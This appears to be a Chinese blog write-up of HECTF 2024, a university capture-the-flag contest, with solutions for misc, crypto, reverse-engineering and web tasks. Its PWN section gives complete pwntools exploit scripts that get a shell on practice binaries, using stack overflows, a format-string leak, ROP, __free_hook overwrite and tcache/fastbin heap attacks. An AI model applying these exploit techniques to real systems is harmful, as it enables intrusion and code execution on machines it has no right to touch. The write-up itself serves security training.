河北师范大学第八届信息安全挑战赛writeup
河北师范大学第八届信息安全挑战赛writeup
前9名有奖品,我第10名,不错不错,当了一次守门员。
MISC
2024HECTF俺来了!!!
签到题,关注公众号拿flag
Rem_You
附件是一张图片,foremost分离出一个压缩包,解压出一个文件夹,然后里面是几张图片,把图片拼接一下,扫码。
JBCUGVCGPN2VMM3YPBRTOUZYNF4UETSUPB2GM6DWKBZE6N2SIZCTGZ2MOBZG6OLBGNAVOMSLKB6Q====
base32解码:HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}
快来反馈吧!!
填写问卷,然后给了flag
简单的压缩包
附件给了一个压缩包和一个txt,txt文件名就给了提示re.txt,里面是正则。^([a-z]){2}\d([^a-z])\D$
前两位是a-z,第三位是数字,第四位是非a-z,第五位是非数字,爆破压缩包密码。
ziperello基于模板的爆破,用时两小时才爆出来。
解压里面的图片,用foremost提取出一个压缩包来,压缩包解压出一个getZip.py和一个zip.zip,这个压缩包损坏了,打不开。看看py脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii
def encrypt(key,iv):
data = content
cipher1 = AES.new(key, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))
ct_hex = binascii.b2a_hex(ct)
return ct_hex
with open("oringe.zip","rb") as f:
content = f.read()
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
en = encrypt(key,iv)
with open("zip2.zip","wb") as f:
f.write(en)
不太会,交给ai,让ai写出一个解密脚本。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def decrypt(key, iv, encrypted_data):
"""
用于解密数据的函数
:param key: 加密密钥
:param iv: 初始化向量
:param encrypted_data: 十六进制格式的加密数据
:return: 解密后的数据
"""
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_bytes = binascii.a2b_hex(encrypted_data) # 将十六进制数据转换回二进制
decrypted_data = cipher.decrypt(encrypted_bytes)
return unpad(decrypted_data, 16)
# 定义加密时使用的密钥和初始化向量,需和加密时保持一致
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
with open("zip.zip", "rb") as f:
encrypted_content = f.read()
decrypted_content = decrypt(key, iv, encrypted_content)
with open("decrypted_zip.zip", "wb") as f:
f.write(decrypted_content)
还原zip之后可以正常打开了,解压出来就是flag:HECTF{c292af1-2b2ee35-6398bd4934f7626afc}
CRYPTO
迷茫的艾米莉
题目描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园
W型栅栏密码:分为6栏时,解密结果为:YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}
维吉尼亚解密,responsibility为key
得到flag:HECTF{C0ng2at51ations_0n_comin9_in}
翻一翻
不会密码学,但是看到最后已经快三十解了,就想试试,最后半小时才做出来。
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from secret import flag
import base64
def emirp(x):
y = 0
while x !=0:
y = y*10 + x%10
x = x//10
return y
while True:
p = getPrime(512)
q = emirp(p)
if isPrime(q):
break
n = p*q
e = 65537
flag = base64.b64encode(flag)
m = bytes_to_long(flag)
c = pow(m,e,n)
print(f"{n = }")
print(f"{c = }")
p = 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
q = 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
'''
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
'''
不会,直接搜def emirp(x)
这个函数,搜到一些博客,最后在https://www.cnblogs.com/mumuhhh/p/17799378.html找到了脚本
跑脚本得到了p和q
接下来就简单了
PWN
怪遗憾了,差一道题就ak了,喵喵喵那道题其实已经分析的差不多了,但是奈何周六晚上偷懒了,没加班,导致最后时间不够了,不过学习了一手protobuf,还不错。
sign in
from pwn import *
p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')
payload = b'\x00'*(0xe+8)+p64(0x00401285)
p.sendlineafter(b'in!!!!\n',payload)
p.sendafter(b'key\n',b'aaaa')
p.interactive()
Arcaea_Sorting
题目看着唬人,其实好多函数都没用。有格式化字符串漏洞和栈溢出,很好打,格式化字符串漏洞泄露libc,然后栈溢出拿shell。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='i386',log_level='debug')
p.sendlineafter(b'me?',b'0')
p.sendlineafter(b'system\n','4')
p.sendafter(b'_=!!!)',b'%59$p')
p.sendlineafter(b'system\n','5')
p.recvuntil(b'is:\n')
libc_base = int(p.recv(10),16)-147-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
binsh = libc_base+0x001bd0d5
system = libc_base+libc.symbols['system']
payload = b'a'*(0x48+4)+p32(system)+p32(libc_base+0x30)+p32(binsh)
p.sendlineafter(b'system\n','4')
p.sendafter(b'_=!!!)',payload)
p.sendlineafter(b'system\n','5')
p.interactive()
find eggy
整数溢出,然后栈迁移。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
p.sendlineafter(b'?\n',b'268435456')
buf = 0x000405600
sh = 0x000403680
pop_rdi = 0x00401326
leave_ret = 0x00401599
payload = p64(pop_rdi)+p64(sh)+p64(elf.plt['system'])
p.sendafter(b'me!\n',payload)
payload = b'a'*0x20+p64(buf-8)+p64(leave_ret)
p.sendafter(b'TvT\n',payload)
p.interactive()
Arcaea_Sorting_Revenge
edit功能有数组越界,先正常泄露libc地址和heap地址,name写成可控的堆地址,然后利用数组越界拿到任意写,写free_hook为system,拿shell。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def add(name,rating,score,size,descript):
p.sendlineafter(b'>>',b'1')
p.sendafter(b'name:',name)
p.sendlineafter(b'rating:',str(rating))
p.sendlineafter(b'score:',str(score))
p.sendlineafter(b'size:',str(size))
p.sendafter(b'descript:',descript)
def edit(index,size,content):
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'0) :',str(index))
p.sendlineafter(b'change to:',str(size))
p.sendafter(b'description:',content)
def delete(index):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'0) :',str(index))
def show():
p.sendlineafter(b'>>',b'4')
p.sendafter(b'plz enter your username:',b'aaaaaaaa')
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#0
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#1
delete(0)
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#0
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-3951480
print('libc_base-->'+hex(libc_base))
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#2
delete(0)
delete(1)
add(b'\x00',1,1,0x80,b'aaaaaaaa')#0
add(b'\x00',1,1,0x80,b'aaaaaaaa')#1
show()
p.recvuntil(b'aaaaaaaa')
p.recvuntil(b'aaaaaaaa')
heap_base = u64(p.recv(6).ljust(8,b'\x00'))-304
print('heap_base-->'+hex(heap_base))
free_hook = libc_base+libc.symbols['__free_hook']
add(b'\x00',1,1,0x100,b'a'*0x40+p64(free_hook))#3
target = heap_base+752+0x10
system = libc_base+libc.symbols['system']
p.sendlineafter(b'>>',b'5')
p.sendafter(b'to:\n',p64(0)*3+p64(target))
edit(-1,0x100,p64(system))
add(b'/bin/sh\x00',1,1,0x80,b'/bin/sh\x00')#4
delete(4)
p.interactive()
lip
2.35的题,有uaf,我的思路是先填充tcache,得到unsorted bin泄露libc地址,再泄露heap地址,用fastbin attack申请到environ泄露栈地址,然后再次利用fastbin attack将chunk申请到栈上布置rop链拿shell。
总感觉自己做的麻烦了,应该还有更简单的方法。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def buy(index,size,content):
p.sendlineafter(b'View\n',b'1')
p.sendlineafter(b'Index: \n',str(index))
p.sendlineafter(b'Size: \n',str(size))
p.sendafter(b'Content :\n',content)
def delete(index):
p.sendlineafter(b'View\n',b'2')
p.sendlineafter(b'Index: \n',str(index))
def view(index):
p.sendlineafter(b'View\n',b'3')
p.sendlineafter(b'Index: \n',str(index))
for i in range(7):
buy(i,0x80,b'aaaaaaaa')
buy(7,0x80,b'aaaaaaaa')
buy(8,0x10,b'aaaaaaaa')
for i in range(7):
delete(i)
delete(7)
view(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2206944
print('libc_base-->'+hex(libc_base))
view(0)
p.recvuntil(b'Content: \n')
key = u64(p.recv(5).ljust(8,b'\x00'))
heap_base = key<<12
print('heap_base-->'+hex(heap_base))
environ=libc_base+libc.sym['__environ']
print('environ-->'+hex(environ))
for i in range(7):
buy(i,0x80,b'aaaaaaaa')
buy(7,0x80,b'aaaaaaaa')
for i in range(7):
buy(i,0x10,b'aaaaaaaa')
buy(7,0x10,b'aaaaaaaa')
buy(8,0x10,b'aaaaaaaa')
for i in range(7):
delete(i)
delete(7)
buy(0,0x20,b'aaaaaaaa')
delete(8)
delete(7)
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,p64((environ-0x10)^key))
buy(0,0x10,b'aaaaaaaa')
print('environ-->'+hex(environ))
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa'*2)
view(0)
p.recvuntil(b'aaaaaaaa'*2)
strck = u64(p.recv(6).ljust(8,b'\x00'))
print('strck-->'+hex(strck))
target = strck-328+8
for i in range(7):
buy(i,0x70,b'aaaaaaaa')
buy(7,0x70,b'aaaaaaaa')
buy(8,0x70,b'aaaaaaaa')
for i in range(7):
delete(i)
delete(7)
buy(0,0x80,b'aaaaaaaa')
delete(8)
delete(7)
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
pop_rdi = libc_base+0x002a3e5
system = libc_base+libc.sym['system']
sh = libc_base+0x01d8678
og = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
shell = libc_base+og[2]
ret = libc_base+0x000029139
buy(0,0x70,p64((target-0x8)^key))
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
#buy(0,0x70,b'aaaaaaaa'*3+p64(shell))
buy(0,0x70,p64(ret)*8+p64(pop_rdi)+p64(sh)+p64(system))
print('target-->'+hex(target))
p.interactive()
RE
littleasm
不会做,交给ai
.section .data
flag: .space 28
key: .ascii "rev"
data: .byte 0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3
msg_wrong: .ascii "WRONG!!!\n"
msg_right: .ascii "Right!!\n"
.section .text
.globl main
main:
pushl %ebp
movl %esp, %ebp
subl $28, %esp
leal flag, %eax
pushl %eax
call scanf
addl $4, %esp
movl $0, %ecx
encrypt_loop:
cmpl $27, %ecx
jge check_loop
movl %ecx, %edx
addl $2, %edx
movl $3, %eax
divl %eax
movzx %dl, %edx
movzx data(,%ecx,1), %eax
movzx flag(,%ecx,1), %ebx
movzx key(,%edx,1), %esi
xorl %ebx, %esi
addl $0x2C, %esi
movb %sil, data(,%ecx,1)
movl %ecx, %edx
addl $1, %edx
movl $3, %eax
divl %eax
movzx %dl, %edx
movzx data(,%ecx + 1,1), %eax
movzx flag(,%ecx + 1,1), %ebx
movzx key(,%edx,1), %esi
xorl %ebx, %esi
addl $0x8, %esi
movb %sil, data(,%ecx + 1,1)
movl %ecx, %edx
movl $3, %eax
divl %eax
movzx %dl, %edx
movzx data(,%ecx + 2,1), %eax
movzx flag(,%ecx + 2,1), %ebx
movzx key(,%edx,1), %esi
xorl %ebx, %esi
xorl $0xC, %esi
movb %sil, data(,%ecx + 2,1)
addl $3, %ecx
jmp encrypt_loop
check_loop:
movl $0, %ecx
movl $0, %edx
compare_loop:
cmpl $27, %ecx
jge check_result
movzx flag(,%ecx,1), %eax
movzx data(,%ecx,1), %ebx
cmpb %al, %bl
jne set_wrong
addl $1, %ecx
jmp compare_loop
set_wrong:
movl $1, %edx
check_result:
cmpl $0, %edx
jne print_wrong
leal msg_right, %eax
pushl %eax
call printf
addl $4, %esp
jmp end_main
print_wrong:
leal msg_wrong, %eax
pushl %eax
call printf
addl $4, %esp
end_main:
movl %ebp, %esp
popl %ebp
ret
ai写的解密脚本:
encrypted_data = [0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3]
key = "rev"
def reverse_encrypt_first_byte(data_byte, key_index):
"""
逆向还原第一个字节加密操作
"""
reversed_byte = (data_byte - 0x2C) & 0xFF
key_char = key[key_index]
return reversed_byte ^ ord(key_char)
def reverse_encrypt_second_byte(data_byte, key_index):
"""
逆向还原第二个字节加密操作
"""
reversed_byte = (data_byte - 0x8) & 0xFF
key_char = key[key_index]
return reversed_byte ^ ord(key_char)
def reverse_encrypt_third_byte(data_byte, key_index):
"""
逆向还原第三个字节加密操作
"""
reversed_byte = data_byte ^ 0xC
key_char = key[key_index]
return reversed_byte ^ ord(key_char)
recovered_flag = []
for i in range(0, len(encrypted_data), 3):
# 处理第一个字节
index_1 = (i + 2) % 3
reversed_1 = reverse_encrypt_first_byte(encrypted_data[i], index_1)
recovered_flag.append(reversed_1)
# 处理第二个字节
index_2 = (i + 1) % 3
reversed_2 = reverse_encrypt_second_byte(encrypted_data[i + 1], index_2)
recovered_flag.append(reversed_2)
# 处理第三个字节
index_3 = i % 3
reversed_3 = reverse_encrypt_third_byte(encrypted_data[i + 2], index_3)
recovered_flag.append(reversed_3)
print("Recovered flag:", bytes(recovered_flag).decode('utf-8', 'replace'))
easyree
upx加壳了,正常脱壳脱不掉,010editor打开之后将CTF全部替换成UPX之后用就能正常脱壳了。
之后ida打开查看伪代码,得到flag长度是27。
再输入flag之后,题目还问了一句,让我们猜测异或了多少次。
猜测这个加密应该是单字节加密,在判断处下断点。
str[i] - 21 != (data[i] ^ k)
此时的i的值为0,str[0]的值为P,data[0]的值为0x23,又已知flag第一位为H,我们输入HECTF{aaaaaaaaaaaaaaaaaaaa}
通过简单的运算,可以推出k==24,我是这种思路,先patch程序,让k初始化就赋值为24,然后通过爆破来获取flag。
直接将第二个输入nop掉,然后在0x4017e5打上断点
在这里判断ecx和eax是否相等来作为输入的flag是否正确,编写脚本爆破出flag。
WEB
Are u happy
题目给了提示:
源码中找到:
base64解码得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)